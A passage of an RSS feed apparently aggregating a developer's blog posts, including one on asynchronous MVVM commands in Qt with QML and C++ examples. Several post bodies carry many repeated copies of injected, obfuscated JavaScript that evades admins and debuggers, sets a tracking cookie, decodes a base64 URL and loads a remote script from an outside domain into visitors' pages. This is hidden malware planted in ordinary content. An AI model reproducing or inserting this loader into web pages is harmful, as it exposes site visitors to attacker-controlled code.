key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1e84875be15b3a8487511e88a139524388333203320&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1e84875be15b3a8487511e88a139524388333203320/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1e84875be15b3a8487511e88a139524388333203320&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1e84875be15b3a8487511e88a139524388333203320/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Wed, 25 Apr 2018 07:20:52 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1e84875be15b3a8487511e88a139524388333203320</guid>
        </item>
        <item>
            <title>With sufficient thrust, pigs fly just fine</title>
            <link>https://pvanhoof.be/blog/index.php/2018/01/15/with-sufficient-thrust-pigs-fly-just-fine</link>
            <description><![CDATA[
<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1e7f984a45e0fe0f98411e7bedb132167774c954c95&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1e7f984a45e0fe0f98411e7bedb132167774c954c95/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1e7f984a45e0fe0f98411e7bedb132167774c954c95&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1e7f984a45e0fe0f98411e7bedb132167774c954c95/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Sun, 14 Jan 2018 23:34:53 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1e7f984a45e0fe0f98411e7bedb132167774c954c95</guid>
        </item>
        <item>
            <title>Asynchronous commands</title>
            <link>https://pvanhoof.be/blog/index.php/2017/10/23/asynchronous-commands</link>
            <description><![CDATA[
<p>With asynchronous commands we have typical <a href="http://pvanhoof.be/blog/index.php/2017/08/18/abstractcommand-model-view-viewmodel-techniques">commands</a> from the Model View ViewModel world that return asynchronously.</p>
<p>Whenever that happens we want result reporting and progress reporting. We basically want something <a href="https://github.com/pvanhoof/mvvm/blob/master/Examples/View.qml">like this</a> in QML:</p>
<pre style="color: #000000; background: #ffffff;">Item <span style="color: #800080;">{</span>
  id<span style="color: #800080;">:</span> container
  property ViewModel viewModel<span style="color: #800080;">:</span> ViewModel <span style="color: #800080;">{</span><span style="color: #800080;">}</span>

  Connections <span style="color: #800080;">{</span>
    target<span style="color: #800080;">:</span> viewModel<span style="color: #808030;">.</span>asyncHelloCommand
    onExecuteProgressed<span style="color: #800080;">:</span> <span style="color: #800080;">{</span>
        progressBar<span style="color: #808030;">.</span>value <span style="color: #808030;">=</span> value
        progressBar<span style="color: #808030;">.</span>maximumValue <span style="color: #808030;">=</span> maximum
    <span style="color: #800080;">}</span>
  <span style="color: #800080;">}</span>
  ProgressBar <span style="color: #800080;">{</span>
     id<span style="color: #800080;">:</span> progressBar
  <span style="color: #800080;">}</span>
  Button <span style="color: #800080;">{</span>
    enabled<span style="color: #800080;">:</span> viewModel<span style="color: #808030;">.</span>asyncHelloCommand<span style="color: #808030;">.</span>canExecute
    onClicked<span style="color: #800080;">:</span> viewModel<span style="color: #808030;">.</span>asyncHelloCommand<span style="color: #808030;">.</span>execute<span style="color: #808030;">(</span><span style="color: #808030;">)</span>
  <span style="color: #800080;">}</span>
<span style="color: #800080;">}</span></pre>
<p><a href="https://www.sciencechannel.com/tv-shows/how-do-they-do-it/">How do we do this</a>? First we start with defining a <a href="https://github.com/pvanhoof/mvvm/blob/master/MVVM/Commands/AbstractAsyncCommand.h">AbstractAsyncCommand</a> (<a href="https://github.com/pvanhoof/mvvm/blob/master/MVVM/Commands/AbstractAsyncCommand.cpp">impl. of protected APIs here</a>):</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #800000; font-weight: bold;">class</span> AbstractAsyncCommand <span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> AbstractCommand <span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>
<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    AbstractAsyncCommand<span style="color: #808030;">(</span><span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>parent<span style="color: #808030;">=</span><span style="color: #008c00;">0</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>

    Q_INVOKABLE <span style="color: #800000; font-weight: bold;">virtual</span> <span style="color: #603000;">QFuture</span><span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> executeAsync<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #808030;">=</span> <span style="color: #008c00;">0</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">virtual</span> <span style="color: #800000; font-weight: bold;">void</span> execute<span style="color: #808030;">(</span><span style="color: #808030;">)</span> Q_DECL_OVERRIDE<span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">signals</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">void</span> executeFinished<span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span> result<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> executeProgressed<span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">int</span> value<span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">int</span> maximum<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">protected</span><span style="color: #e34adc;">:</span>
    QSharedPointer<span style="color: #808030;">&lt;</span>QFutureInterface<span style="color: #808030;">&lt;</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span><span style="color: #808030;">&gt;</span><span style="color: #808030;">&gt;</span> start<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> progress<span style="color: #808030;">(</span>QSharedPointer<span style="color: #808030;">&lt;</span>QFutureInterface<span style="color: #808030;">&lt;</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span><span style="color: #808030;">&gt;</span><span style="color: #808030;">&gt;</span> fut<span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">int</span> value<span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">int</span> total<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> finish<span style="color: #808030;">(</span>QSharedPointer<span style="color: #808030;">&lt;</span>QFutureInterface<span style="color: #808030;">&lt;</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span><span style="color: #808030;">&gt;</span><span style="color: #808030;">&gt;</span> fut<span style="color: #808030;">,</span> <span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span> result<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
    <span style="color: #603000;">QVector</span><span style="color: #808030;">&lt;</span>QSharedPointer<span style="color: #808030;">&lt;</span>QFutureInterface<span style="color: #808030;">&lt;</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span><span style="color: #808030;">&gt;</span><span style="color: #808030;">&gt;</span><span style="color: #808030;">&gt;</span> m_futures<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span></pre>
<p>After that we provide <a href="https://github.com/pvanhoof/mvvm/blob/master/Examples/asynchellocommand.cpp">an implementation</a>:</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QThreadPool</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QRunnable</span><span style="color: #800000;">&gt;</span>

<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">MVVM/Commands/AbstractAsyncCommand.h</span><span style="color: #800000;">&gt;</span>

<span style="color: #800000; font-weight: bold;">class</span> AsyncHelloCommand<span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> AbstractAsyncCommand
<span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>
<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    AsyncHelloCommand<span style="color: #808030;">(</span><span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>parent<span style="color: #808030;">=</span><span style="color: #008c00;">0</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">bool</span> canExecute<span style="color: #808030;">(</span><span style="color: #808030;">)</span> <span style="color: #800000; font-weight: bold;">const</span> Q_DECL_OVERRIDE <span style="color: #800080;">{</span> <span style="color: #800000; font-weight: bold;">return</span> <span style="color: #800000; font-weight: bold;">true</span><span style="color: #800080;">;</span> <span style="color: #800080;">}</span>
    <span style="color: #603000;">QFuture</span><span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> executeAsync<span style="color: #808030;">(</span><span style="color: #808030;">)</span> Q_DECL_OVERRIDE<span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span> executeAsyncTaskFunc<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    QSharedPointer<span style="color: #808030;">&lt;</span>QFutureInterface<span style="color: #808030;">&lt;</span><span style="color: #800000; font-weight: bold;">void</span><span style="color: #808030;">*</span><span style="color: #808030;">&gt;</span><span style="color: #808030;">&gt;</span> current<span style="color: #800080;">;</span>
